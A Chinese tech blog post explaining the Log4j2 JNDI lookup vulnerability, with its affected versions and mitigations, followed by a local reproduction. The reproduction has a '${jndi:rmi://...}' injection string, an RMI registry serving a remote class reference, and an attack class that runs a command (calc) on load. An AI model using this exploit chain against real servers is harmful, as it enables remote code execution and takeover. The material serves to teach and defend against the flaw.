前言:上周五有关开源日志框架Log4j2高危漏洞预警发出后,这几天各大互联网公司都在加班加点做紧急漏洞处理。这是个什么漏洞呢?有多大危害,搞得互联网任人心惶惶!
漏洞背景
开源框架Apache Log4j2是一款非常优秀的日志记录框架,功能丰富,性能优越,应用于大量的业务系统中,深受广大java开发者的喜爱。 本次漏洞其实是基于log4j2的lookup功能造成的,当用户输入的日志参数非法${XXX}时,log4j2并没有做严格的校验,而是会解析非法参数${}中的内容并执行。这样就会给一些非法分子利用此漏洞的机会,发送一些系统操作命令,从而控制服务器,造成不可估量的损失。
影响范围
2.0版本到2.15.0-rc1均会收到影响 一些开源工具也收到影响(flink/solr/druid/kafka...)
解决方案
紧急方案: jvm启动参数增加配置 -Dlog4j2.formatMsgNoLookups=true
最终方案: 及时更新至Apache Log4j 2.15.0-rc2版本
漏洞复现
整体流程
模拟业务逻辑打印日志
新建工程并添加依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
==本示例新建springboot工程,默认logback,所以需要排除掉==
新建Log4j2执行示例
public class Log4j2LoopholeService {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
//本地jdk版本是1.8.0_131 默认下面配置为false 所以修改此配置
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
// String name = "qrainly";
// String name = "${java:vm}";
// String name = "${java:os}";
String name = "${java:version}";
// String name = "${java:locale}";
// String name = "${java:runtime}";
// String name = "${java:hw}";
// String name = "${jndi:rmi://127.0.0.1:1099/obj}";
logger.info("name->====={}=====", name);
}
}
模拟JNDI注入服务
新建Rmi动态注册服务
public class RmiRegistryServer {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] argv) throws RemoteException, NamingException, AlreadyBoundException {
//启动RMI注册服务,指定端口为1099 (1099为默认端口)
//也可以通过命令 $java_home/bin/rmiregistry 1099启动 (再打开一个DOS窗口且必须事先用RMIC生成一个stub类为它所用)
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("AttackObject","AttackObject","http://127.0.0.1:80/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("obj",wrapper);
logger.info(">>>>>>>>>>>>>>>>>>>>>RmiRegistryServer is successful<<<<<<<<<<<<<<<<");
}
}
新建攻击类
public class AttackObject implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println(">>>>>>>>>>>>>>>>>>执行攻击代码<<<<<<<<<<<<<<<<<<");
// Process process = Runtime.getRuntime().exec("notepad.exe");
Process process = Runtime.getRuntime().exec("calc");
return null;
}
}
绑定攻击类编译文件到Nginx的html目录下
模拟攻击注入
启动Nginx
启动Rmi注册服务
执行模拟业务main方法
执行结果
日志参数非法执行唤起计算器,当然这是我本地模拟攻击实现,如果是其他执行命令执行,例如删除某些文件,关机等操作,将给我们应用服务带来不可估量的损失。
本文示例代码: log4j2-loophole.
后续
互联网安全问题是我们每一个互联网人都要认真对待的事情,防患于未然,认真对待落实安全问题,才能够有效保证我们的财产安全。
持续更新中